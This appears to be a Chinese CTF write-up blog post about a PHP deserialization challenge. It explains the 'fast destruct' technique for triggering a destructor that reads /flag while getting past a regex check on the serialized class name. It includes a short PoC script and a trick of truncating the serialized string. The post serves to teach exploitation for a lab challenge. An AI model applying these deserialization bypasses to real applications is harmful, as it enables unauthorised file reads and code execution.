从一道题看fast_destruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

error_reporting(0);

class superGate{
public $gay = true;

function __destruct(){
echo file_get_contents("/flag");
die();
}
}

$p = $_GET['p'];
$honey = unserialize($p);
if(preg_match("/superGate/i", serialize($honey))){
echo "no";
throw Exception();
}

show_source(__FILE__);

这题题目明显需要绕过正则 if(preg_match("/superGate/i", serialize($honey))) 才能成功过命令执行 这题貌似只能使用 fast destruct

一、什么是fast destruct??

知识点:

1、PHP中,如果单独执行unserialize函数进行常规的反序列化,那么被反序列化后的整个对象的生命周期就仅限于这个函数执行的生命周期,当这个函数执行完毕,这个类就没了,在有析构函数的情况下就会执行它。

2、PHP中,如果用一个变量接住反序列化函数的返回值,那么被反序列化的对象其生命周期就会变长,由于它一直都存在于这个变量当中,那么在PHP脚本走完流程之后,这个对象才会被销毁,在有析构函数的情况下就会将其执行。

fast destruct 就是用来解决第二种情况带来的问题的。

详细原理就不再介绍了 有点和底层的东西有关,可以参考我文末放的文章

解法一:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
**class superGate{
public $gay = true;
function __construct(){

}
function __destruct(){
// echo file_get_contents("./ssti");
}
}

class a{

}
echo serialize(array(new a,new superGate));
// echo serialize(new superGate());**

a类必须在写poc的时候自行添加, 还需要将生成的poc改序列化字符串中的属性个数,类似绕过__wakeup的方法

解法二:

去掉生成的序列化字符串最后的一个大括号(你没有看错,就是这么神奇)

https://mp.weixin.qq.com/s?__biz=MzIzMTQ4NzE2Ng==&mid=2247487933&idx=1&sn=e57bc3583c1b80f1aa7bd08409cfb82d

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~